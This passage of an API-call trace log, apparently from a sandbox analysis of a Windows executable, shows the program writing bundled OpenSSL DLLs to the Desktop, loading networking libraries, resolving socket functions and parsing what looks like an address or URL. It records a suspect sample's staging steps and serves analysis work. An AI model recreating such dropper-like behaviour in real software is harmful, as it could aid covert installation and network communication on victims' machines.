lpWideCharStr="3A8CBEC3ACA331424CCAF860C13E3597C98FA2390947954B0AB2128852E81E0E389C199F094CF8684C500E9AE830FF3F359CBE85EFA21E36AD9B4E294FEBCB44C2EA3DC6564CC10498B80EA0B976FB1BAF4ECF48B2E85FA8DD5D49F8F5651BF7AEC3881CC1483CA8EABE97C36813FD2CB40F6A40DAE72F2E702EAD4FC2C3B832C4EAF74AAD3829F93F909E767B9DBB9496BB9B8EB4936B79BC3779BD57A4B651", cchWideChar=320, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 320 [0068.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3A8CBEC3ACA331424CCAF860C13E3597C98FA2390947954B0AB2128852E81E0E389C199F094CF8684C500E9AE830FF3F359CBE85EFA21E36AD9B4E294FEBCB44C2EA3DC6564CC10498B80EA0B976FB1BAF4ECF48B2E85FA8DD5D49F8F5651BF7AEC3881CC1483CA8EABE97C36813FD2CB40F6A40DAE72F2E702EAD4FC2C3B832C4EAF74AAD3829F93F909E767B9DBB9496BB9B8EB4936B79BC3779BD57A4B651", cchWideChar=320, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 320 [0068.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3A8CBEC3ACA331424CCAF860C13E3597C98FA2390947954B0AB2128852E81E0E389C199F094CF8684C500E9AE830FF3F359CBE85EFA21E36AD9B4E294FEBCB44C2EA3DC6564CC10498B80EA0B976FB1BAF4ECF48B2E85FA8DD5D49F8F5651BF7AEC3881CC1483CA8EABE97C36813FD2CB40F6A40DAE72F2E702EAD4FC2C3B832C4EAF74AAD3829F93F909E767B9DBB9496BB9B8EB4936B79BC3779BD57A4B651", cchWideChar=320, lpMultiByteStr=0x7d3548, cbMultiByte=320, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3A8CBEC3ACA331424CCAF860C13E3597C98FA2390947954B0AB2128852E81E0E389C199F094CF8684C500E9AE830FF3F359CBE85EFA21E36AD9B4E294FEBCB44C2EA3DC6564CC10498B80EA0B976FB1BAF4ECF48B2E85FA8DD5D49F8F5651BF7AEC3881CC1483CA8EABE97C36813FD2CB40F6A40DAE72F2E702EAD4FC2C3B832C4EAF74AAD3829F93F909E767B9DBB9496BB9B8EB4936B79BC3779BD57A4B651", lpUsedDefaultChar=0x0) returned 320 [0068.823] GetCurrentThreadId () returned 0x9fc [0068.823] GetCurrentThreadId () returned 0x9fc [0068.823] GetCurrentThreadId () returned 0x9fc [0068.823] GetCurrentThreadId () returned 0x9fc [0068.823] GetCurrentThreadId () returned 0x9fc [0068.823] GetCurrentThreadId () returned 0x9fc [0068.823] QueryPerformanceCounter (in: lpPerformanceCount=0x18fce8 | out: lpPerformanceCount=0x18fce8*=18863105991) returned 1 [0068.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x80835c, cbMultiByte=16, lpWideCharStr=0x18ece4, cchWideChar=2047 | out: lpWideCharStr="0123456789ABCDEF") returned 16 [0068.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x18f90c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.823] FindResourceW (hModule=0x400000, lpName="libeay32", lpType=0xa) returned 0x69a67c [0068.823] LoadResource (hModule=0x400000, hResInfo=0x69a67c) returned 0x5e743c [0068.837] SizeofResource (hModule=0x400000, hResInfo=0x69a67c) returned 0x8d000 [0068.837] LockResource (hResData=0x5e743c) returned 0x5e743c [0068.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libeay32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0069.070] WriteFile (in: hFile=0x134, lpBuffer=0x5e743c*, nNumberOfBytesToWrite=0x8d000, lpNumberOfBytesWritten=0x18fcb0, lpOverlapped=0x0 | out: lpBuffer=0x5e743c*, lpNumberOfBytesWritten=0x18fcb0*=0x8d000, lpOverlapped=0x0) returned 1 [0069.085] CloseHandle (hObject=0x134) returned 1 [0069.153] FreeResource (hResData=0x5e743c) returned 0 [0069.153] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x18f90c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.153] FindResourceW (hModule=0x400000, lpName="ssleay32", lpType=0xa) returned 0x69a740 [0069.153] LoadResource (hModule=0x400000, hResInfo=0x69a740) returned 0x674dfc [0069.153] SizeofResource (hModule=0x400000, hResInfo=0x69a740) returned 0x23600 [0069.153] LockResource (hResData=0x674dfc) returned 0x674dfc [0069.153] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ssleay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ssleay32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0069.154] WriteFile (in: hFile=0x134, lpBuffer=0x674dfc*, nNumberOfBytesToWrite=0x23600, lpNumberOfBytesWritten=0x18fcb0, lpOverlapped=0x0 | out: lpBuffer=0x674dfc*, lpNumberOfBytesWritten=0x18fcb0*=0x23600, lpOverlapped=0x0) returned 1 [0069.157] CloseHandle (hObject=0x134) returned 1 [0069.164] FreeResource (hResData=0x674dfc) returned 0 [0069.164] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=35, fCreate=0 | out: pszPath="C:\\ProgramData") returned 1 [0069.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 0 [0069.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 0 [0069.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 0 [0069.497] SetErrorMode (uMode=0x8000) returned 0x0 [0069.636] LoadLibraryW (lpLibFileName="WS2_32.DLL") returned 0x77230000 [0070.172] SetErrorMode (uMode=0x0) returned 0x8000 [0070.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSAStartup", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0070.172] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSAStartup", cchWideChar=10, lpMultiByteStr=0x7f2eac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSAStartup", lpUsedDefaultChar=0x0) returned 10 [0070.172] GetProcAddress (hModule=0x77230000, lpProcName="WSAStartup") returned 0x77233ab2 [0070.172] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fa9a | out: lpWSAData=0x18fa9a) returned 0 [0070.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetAddrInfoW", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0070.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetAddrInfoW", cchWideChar=12, lpMultiByteStr=0x7f2eac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetAddrInfoW", lpUsedDefaultChar=0x0) returned 12 [0070.214] GetProcAddress (hModule=0x77230000, lpProcName="GetAddrInfoW") returned 0x77234889 [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetNameInfoW", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetNameInfoW", cchWideChar=12, lpMultiByteStr=0x7f2eac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNameInfoW", lpUsedDefaultChar=0x0) returned 12 [0070.215] GetProcAddress (hModule=0x77230000, lpProcName="GetNameInfoW") returned 0x772366af [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FreeAddrInfoW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FreeAddrInfoW", cchWideChar=13, lpMultiByteStr=0x7f2eac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FreeAddrInfoW", lpUsedDefaultChar=0x0) returned 13 [0070.215] GetProcAddress (hModule=0x77230000, lpProcName="FreeAddrInfoW") returned 0x77234b1b [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InetPtonW", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InetPtonW", cchWideChar=9, lpMultiByteStr=0x7f2eac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InetPtonW", lpUsedDefaultChar=0x0) returned 9 [0070.215] GetProcAddress (hModule=0x77230000, lpProcName="InetPtonW") returned 0x772439dc [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InetNtopW", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0070.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InetNtopW", cchWideChar=9, lpMultiByteStr=0x7f2eac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InetNtopW", lpUsedDefaultChar=0x0) returned 9 [0070.215] GetProcAddress (hModule=0x77230000, lpProcName="InetNtopW") returned 0x77243abf [0070.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetAddrInfoExW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetAddrInfoExW", cchWideChar=14, lpMultiByteStr=0x7f2eac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetAddrInfoExW", lpUsedDefaultChar=0x0) returned 14 [0070.216] GetProcAddress (hModule=0x77230000, lpProcName="GetAddrInfoExW") returned 0x7723d1ea [0070.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetAddrInfoExW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SetAddrInfoExW", cchWideChar=14, lpMultiByteStr=0x7f2eac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetAddrInfoExW", lpUsedDefaultChar=0x0) returned 14 [0070.216] GetProcAddress (hModule=0x77230000, lpProcName="SetAddrInfoExW") returned 0x7723f4f6 [0070.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FreeAddrInfoExW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FreeAddrInfoExW", cchWideChar=15, lpMultiByteStr=0x7f2eac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FreeAddrInfoExW", lpUsedDefaultChar=0x0) returned 15 [0070.216] GetProcAddress (hModule=0x77230000, lpProcName="FreeAddrInfoExW") returned 0x7723e14d [0070.216] SetErrorMode (uMode=0x8000) returned 0x0 [0070.342] LoadLibraryW (lpLibFileName="Fwpuclnt.dll") returned 0x74e90000 [0071.090] SetErrorMode (uMode=0x0) returned 0x8000 [0071.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSASetSocketSecurity", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSASetSocketSecurity", cchWideChar=20, lpMultiByteStr=0x8083ac, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSASetSocketSecurity", lpUsedDefaultChar=0x0) returned 20 [0071.090] GetProcAddress (hModule=0x74e90000, lpProcName="WSASetSocketSecurity") returned 0x74eaba9a [0071.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSAQuerySocketSecurity", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSAQuerySocketSecurity", cchWideChar=22, lpMultiByteStr=0x8083ac, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSAQuerySocketSecurity", lpUsedDefaultChar=0x0) returned 22 [0071.090] GetProcAddress (hModule=0x74e90000, lpProcName="WSAQuerySocketSecurity") returned 0x74eabaed [0071.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSASetSocketPeerTargetName", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSASetSocketPeerTargetName", cchWideChar=26, lpMultiByteStr=0x80f69c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSASetSocketPeerTargetName", lpUsedDefaultChar=0x0) returned 26 [0071.091] GetProcAddress (hModule=0x74e90000, lpProcName="WSASetSocketPeerTargetName") returned 0x74eabb1e [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSADeleteSocketPeerTargetName", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSADeleteSocketPeerTargetName", cchWideChar=29, lpMultiByteStr=0x80f69c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSADeleteSocketPeerTargetName", lpUsedDefaultChar=0x0) returned 29 [0071.091] GetProcAddress (hModule=0x74e90000, lpProcName="WSADeleteSocketPeerTargetName") returned 0x74eabb4e [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSAImpersonateSocketPeer", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSAImpersonateSocketPeer", cchWideChar=24, lpMultiByteStr=0x80f69c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSAImpersonateSocketPeer", lpUsedDefaultChar=0x0) returned 24 [0071.091] GetProcAddress (hModule=0x74e90000, lpProcName="WSAImpersonateSocketPeer") returned 0x74eabb7e [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSARevertImpersonation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSARevertImpersonation", cchWideChar=22, lpMultiByteStr=0x8083ac, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSARevertImpersonation", lpUsedDefaultChar=0x0) returned 22 [0071.091] GetProcAddress (hModule=0x74e90000, lpProcName="WSARevertImpersonation") returned 0x74eabcfd [0071.113] SetErrorMode (uMode=0x8000) returned 0x0 [0071.271] LoadLibraryW (lpLibFileName="IdnDL.dll") returned 0x74f60000 [0071.866] SetErrorMode (uMode=0x0) returned 0x8000 [0071.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DownlevelGetLocaleScripts", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0071.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DownlevelGetLocaleScripts", cchWideChar=25, lpMultiByteStr=0x80f69c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DownlevelGetLocaleScripts", lpUsedDefaultChar=0x0) returned 25 [0071.866] GetProcAddress (hModule=0x74f60000, lpProcName="DownlevelGetLocaleScripts") returned 0x74f62a5b [0071.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DownlevelGetStringScripts", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0071.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DownlevelGetStringScripts", cchWideChar=25, lpMultiByteStr=0x80f69c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DownlevelGetStringScripts", lpUsedDefaultChar=0x0) returned 25 [0071.866] GetProcAddress (hModule=0x74f60000, lpProcName="DownlevelGetStringScripts") returned 0x74f62b2f [0071.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DownlevelVerifyScripts", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0071.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DownlevelVerifyScripts", cchWideChar=22, lpMultiByteStr=0x8083ac, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DownlevelVerifyScripts", lpUsedDefaultChar=0x0) returned 22 [0071.866] GetProcAddress (hModule=0x74f60000, lpProcName="DownlevelVerifyScripts") returned 0x74f62dad [0071.866] SetErrorMode (uMode=0x8000) returned 0x0 [0071.867] LoadLibraryW (lpLibFileName="Normaliz.dll") returned 0x77700000 [0071.989] SetErrorMode (uMode=0x0) returned 0x8000 [0071.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IdnToUnicode", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0071.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IdnToUnicode", cchWideChar=12, lpMultiByteStr=0x7f2eac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IdnToUnicode", lpUsedDefaultChar=0x0) returned 12 [0071.990] GetProcAddress (hModule=0x77700000, lpProcName="IdnToUnicode") returned 0x76d6bbb6 [0071.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IdnToNameprepUnicode", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IdnToNameprepUnicode", cchWideChar=20, lpMultiByteStr=0x8083ac, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IdnToNameprepUnicode", lpUsedDefaultChar=0x0) returned 20 [0071.991] GetProcAddress (hModule=0x77700000, lpProcName="IdnToNameprepUnicode") returned 0x76dd6a8b [0071.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IdnToAscii", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0071.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IdnToAscii", cchWideChar=10, lpMultiByteStr=0x7f2eac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IdnToAscii", lpUsedDefaultChar=0x0) returned 10 [0071.991] GetProcAddress (hModule=0x77700000, lpProcName="IdnToAscii") returned 0x76d6cbba [0071.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsNormalizedString", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0071.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IsNormalizedString", cchWideChar=18, lpMultiByteStr=0x8083ac, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsNormalizedString", lpUsedDefaultChar=0x0) returned 18 [0071.991] GetProcAddress (hModule=0x77700000, lpProcName="IsNormalizedString") returned 0x76dd6a39 [0071.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NormalizeString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NormalizeString", cchWideChar=15, lpMultiByteStr=0x7f2eac, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NormalizeString", lpUsedDefaultChar=0x0) returned 15 [0071.991] GetProcAddress (hModule=0x77700000, lpProcName="NormalizeString") returned 0x76dd69c1 [0071.991] SetErrorMode (uMode=0x8000) returned 0x0 [0071.991] LoadLibraryW (lpLibFileName="iphlpapi.dll") returned 0x74f40000 [0073.111] SetErrorMode (uMode=0x0) returned 0x8000 [0073.691] GetCurrentThreadId () returned 0x9fc [0073.691] GetCurrentThreadId () returned 0x9fc [0073.691] GetCurrentThreadId () returned 0x9fc [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="/", cchCount2=1) returned 1 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="=", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0075.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w", cchCount1=1, lpString2="/", 